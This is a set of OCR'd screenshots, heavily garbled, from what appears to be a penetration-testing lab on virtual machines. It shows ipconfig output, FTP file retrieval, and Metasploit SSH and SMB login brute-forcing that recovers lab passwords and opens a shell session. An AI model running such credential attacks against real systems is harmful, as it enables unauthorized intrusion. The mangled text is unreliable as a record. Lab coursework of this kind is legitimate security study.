Tocal: acch60eo.txt remote: acch600.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
67 bytes received in .00 secs (158.0427 kB/s)
ftp> get acch60eo. txt

Jethemet adapter Intsia

\Users\Adsinistrator>

BONSSMBEH 60w o
Q searcn mQeoma VD AR PO D, B0

2 Precip coming
In about 1 hour





image46.png
Input  Devices  Help

Terminale v lun23:23
indows 1P Configuration

root@osboxes:
Ethernet adapter Internet; Modifi

Comection-specific DIS Suffix . : home 09-25-25  02: accb6000. txt
TPU6 Address. . . . .. .. .. | ¢ FOUT:62SCHO3::cHO:TCT2TCC: 0T 09-25-25 03 important_file.txt
Lkl I i L e e sk 09-25-25 03 new_important_file.txt
Defalt Gatevay - - L L L i 226 Transfer complete
10.0.2.2 ftp> get test.txt
local: test.txt remote: test.txt
200 PORT command successful.
Commection-spectéic O Suffix. . : 125 Data connection already open; Transfer starting.
Uink-local TP6 Address . . . . . ¢ feS0::9d88:209F:440C:AAGR3 226 Transfer complete.
Toué Address. 192.168.1.1 32 bytes received in 0.01 secs (3.3020 kB/s)
TR == Ftp> get acchB0. txt
Tlocal: acch6000.txt remote: acch6000.txt
ethernet adapter External 200 PORT command successful.
B o st 125 Data connection already open; Transfer starting.
s e 226 Transer comptete.
V8 Rddress. + « oo L 20,000 67 bytes received in 0.00 secs (158.0427 kB/s)
Subnet Hask 255.255.255.252 ftp> get important file.txt
Default Gateway . . . . . . ... local: important file.txt remote: important file.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
10 bytes received in 0.00 secs (4.2422 kB/s)
ftp> get new_important file.txt
Tlocal: new important file.txt remote: new important file.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
10 bytes received in 0.00 secs (4.6995 kB/s)

> I

ethernet adapter Tntsa

\Users\Adsinistrator>
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root@osboxes: ~
ethemet adapter Internet: File Modifica Termi

Comnection-specific OIS Suffix . : home root@oshoxes:~# Ls
TPU6 Address. . . . .. .. .. | ¢ FOUT:62SCHO3::cHO:TCT2TCC: 0T acch6000. txt Downloads new_important file.txt Templates
Link-local TP Address . . . . . ¢ FeB0::e147:b674:a231:626457 Desktop important_file.txt Pictures test. txt

1Pva Address. 10.6.2.15 q A
Subnet Mask . . . .. ... ... :25.255.265.0 Documsuts Public Videos
Default Gatevay . . . .. . .. . fes8:20 root@osboxes :

10.0.2.2

thernet adapter IntSia:
.

Comnection-specific DIS Suffix

Link-local TPv6 Address . . . . . : feB0::0d88:200F:440c:bAORL3

TPvé Address. 102,168.1.1

Subnet Mask . . L ... ... .. 255.055.255.0

Default Gatevay
ethernet adapter External:

Comnection-specific DI Suffix
Link-local 1Pv6 Address . . . . . : fe80::0aca:a640:58bd:6bI2ALS 5
e e B ourpsue
Subret Mask 255.255.255.252

Default Gateay 000008

\Users\Adsinistrator>
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Terminale ¥ lun23:30
indows 1P Configuration

Ethernet adapter Internet; File Modifi

home root@osboxes:~# s
1o Address. . . . . . . + FH17:605C:F037:2:CHOTCIT: 2387 acch6000. txt Downloads new_important file.txt Templates
T s - ¢ RIS Desktop important file.txt Pictures test.txt
T (EEE root@oshoxes:~# cat important file.txt

10.0.2.2 key is 900root@oshoxes:~#

root@oshoxes:~# cat new_important file.txt

key is 938root@osboxes:~#
root@osboxes:~# cat test.txt
FTP test file for swansea.acca
root@oshoxes:~# cat accb6e00. txt
This is a sample File
created by Dr. NMK

Comnection-specific DIS Suffix

thernet adapter Intsia:

Comnection-specific DIS Suffix
Link-local TPv6 Address . . . . . : feB0::0d88:200F:440c:bAORL3
TPvé Address. 102,168.1.1

Subnet Mask . . £ 255.255.285.0

Default Gatevay

ethernet adapter Externl:
Infomration is Wealthroot@oshoxes:~# [|
Comection-specific OIS Suffix

ink-local 196 Address . e 0aca:ad0: S8 GBIZNIS
e Address. ... Lo 20000

Subnet Hask 255.355.255.052

Default Gateiay

\Users\Adsinistrator>

Mostra applicazioni

s> d@z0 ON
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unning] - Oracle Virtual

Applicazioni ~  Posizioni ~ [ Terminale ~

File Modifica

msf5 auxiliary(scanner/ssh/ssh_login) >

RHOSTS => 192.168.2.1
USERNAME => londonlogin

PASS FILE => passwords. txt

. Name Current Setting
BLANK PASSWORDS ~ false

. BRUTEFORCE_SPEED 5
DB_ALL_CREDS false
DB_ALL_PASS false

B DB_ALL_USERS false
PASSWORD
PASS FILE passwords . txt

@ RrHOSTS 192.168.2.1
RPORT 22

. STOP_ON_SUCCESS ~ false
THREADS 1
USERNANE Tondonlogin
USERPASS_FILE
USER_AS_PASS false
USER_FILE
VERBOSE false

msf5 auxiliary(scanner/ssh/ssh_login) >
msf5 auxiliary(scanner/ssh/ssh_login) >

msf5 auxiliary(scanner/ssh/ssh_login) >

set

show options

mer07:35 tH B4 a~

root@osboxes: ~

RHOSTS 192.168.2.1
set USERNAME londonlogin

set PASS FILE passwords.txt

Module options (auxiliary/scanner/ssh/ssh login)

Required Description

no
yes
no
no
no
no
no
yes
yes
yes
yes
no
no
no
no
yes

Try blank passwords for all users
How fast to bruteforce, from © to 5

Try each user/password couple stored in the current database

Add all passwords in the current database to the list

Add all users in the current database to the list

A specific password to authenticate with

File containing passwords, one per line

The target address range or CIDR identifier

The target port

Stop guessing when a credential works for a host

The number of concurrent threads

A specific username to authenticate as

File containing users and passwords separated by space, one pair per line
Try the username as the password for all users

File containing usernames, one per line

whether to print output for all attempts

nsfs auxiliary(scanner/ssh/ssh_login) > exploit
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root@osboxes: ~

File Modifica e Aiuto

PASS_FILE => passwords. txt
msfs auxiliary(scanner/ssh/ssh_login) > show options

B vodule options (auxiliary/scanner/ssh/ssh_login):

Name Current Setting Required Description

BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from @ to 5
- DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
. DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no A specific password to authenticate with
. PASS_FILE passwords . txt no File containing passwords, one per line
RHOSTS 192.168.2.1 yes The target address range or CIDR identifier
RPORT 22 yes The target port
B STOP_ON_SUCCESS  false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads
USERNAME londonlogin no A specific username to authenticate as
£ USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
. USER_FILE no File containing usernames, one per line
VERBOSE false yes Whether to print output for all attempts

msfs auxiliary(scanner/ssh/ssh_login) > exploit

[+] 192.168.2.1:22 - Success: 'londonlogin:Notebook@l23' '*

[*] command shell session 1 opened (192.168.2.2:43501 -> 192.168.2.1:22) at 2026-04-08 07:35:
[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf5 auxiliary(scanner/ssh/ssh_login) > I
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B kaung

Fle  Machine  View  Input

Applicazioni ~  Posizioni ~

File Modifica
DB_ALL_PASS
DB_ALL_USERS

DETECT_ANY_AUTH

false
false

B oETECT ANY DOMAIN false
PASS FILE passwords. txt
. PRESERVE DOMAINS  true
Proxies
RECORD_GUEST false
RHOSTS 192.168.1.1
- RPORT 445
SMBDomain
. SMBPass
SMBUSser
- PeEmams e
THREADS o)
USERPASS_FILE
B USER_AS_PASS false
USER FILE users. txt
VERBOSE true
>
nsf5 auxiliary(scanner/smb/smb_login)
& [*] 192.168.1.1:445 - 192.168.1.
192.168.1.1:445 - 192.168.1.
192.168.1.1:445 - No active
192.168.1.1:445 - 192.168.1.
192.168.1.1:445 - 192.168.1.
192.168.1.1:445 - 192.168.1.

[*] 192.168.1.1:445 - Scanned 1

mer 08:10

root@osboxes: ~

Add all passwords in the current database to the list
Add all users in the current database to the list

Enable detection of systems accepting any authentication
Detect if domain is required for the specified user

File containing passwords, one per line

no Respect a username that contains a domain name

no A proxy chain of format type:host:port[,type:host:port][
no Record guest-privileged random logins to the database
yes The target address range or CIDR identifier

yes The SMB service port (TCP)

no The Windows domain to use for authentication

no The password for the specified username

no The username to authenticate as

yes Stop guessing when a credential works for a host

yes The number of concurrent threads

no File containing users and passwords separated by space, one pair per line
no Try the username as the password for all users

no File containing usernames, one per line

yes whether to print output for all attempts

> exploit

1:445 - Starting SMB login bruteforce

1:445 - Failed: '.\Administrator:123456'

DB -- Credential data will not be saved

1:445 - Failed: '.\Administrator:password'

1:445 - Failed: '.\Administrator:admin’

1:445 - Success: '.\Administrator:Notebook@123' Administrator

of 1 hosts (100% complete)

[*] Auxiliary module execution completed

Qinsf5 auxiliary(scanner/smb/smb_login)

Temps to plum..
Friday.

|
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Macchina Visualizza Inserimento

Dispositivi

Aiuto

Microsoft Windows [Version 10.6.20348.4052]
(c) Microsoft Corporation. All rights reserved.

C:\Users\Administrator>ipconfig /all

windows IP Configuration

Host Name . . . . .
Primary Dns Suffix
Node Type . . . . .
1P Routing Enabled.
WINS Proxy Enabled.
DNS Suffix Search List.

Ethernet adapter Internet:

Connection-specific DNS Suffix
Description . e
Physical Address.

DHCP Enabled. S
Autoconfiguration Enabled .
1pv6 Address. S
Link-local IPv6 Address .

1Pv4 Address.

Subnet Mask .

Lease Obtained.

Lease Expires .

Default Gateway .

DHCP Server .
DHCPV6 TAID . .
DHCPV6 Client DUID.
DNS Servers .

NetBIOS over Tcpip.
Ethernet adapter Intswa:

Connection-specific DNS Suffix
Description . e
Physical Address.
DHCP Enabled. S
Autoconfiguration Enabled

Q Search

: s-DC

swansea.acca

Hybrid

: No

No

: swansea.acca

lan

lan
Intel(R) PRO/1006 MT Desktop Adapter

: 08-00-27-1A-80-9D

Yes
Yes

: fd17:625c:037:2:CFde:7c37:27cc:3d7 (Preferred)

Fego: :e147:b674:223
10.6.2.15(Preferred)

284%7 (Preferred)

: 255.255.255.0

07 March 2026 19:51:58
08 March 2026 19:51:58

: feso::2%7

10.0.2.2
10.0.2.2

: 101187623

00-01-00-01-30-66-31-06-08-00-27-1A-80-9D
a

127.6.0.1
: Enabled

: Intel(R) PRO/1606 MT Desktop Adapter #2

08-60-27-45-40-D5
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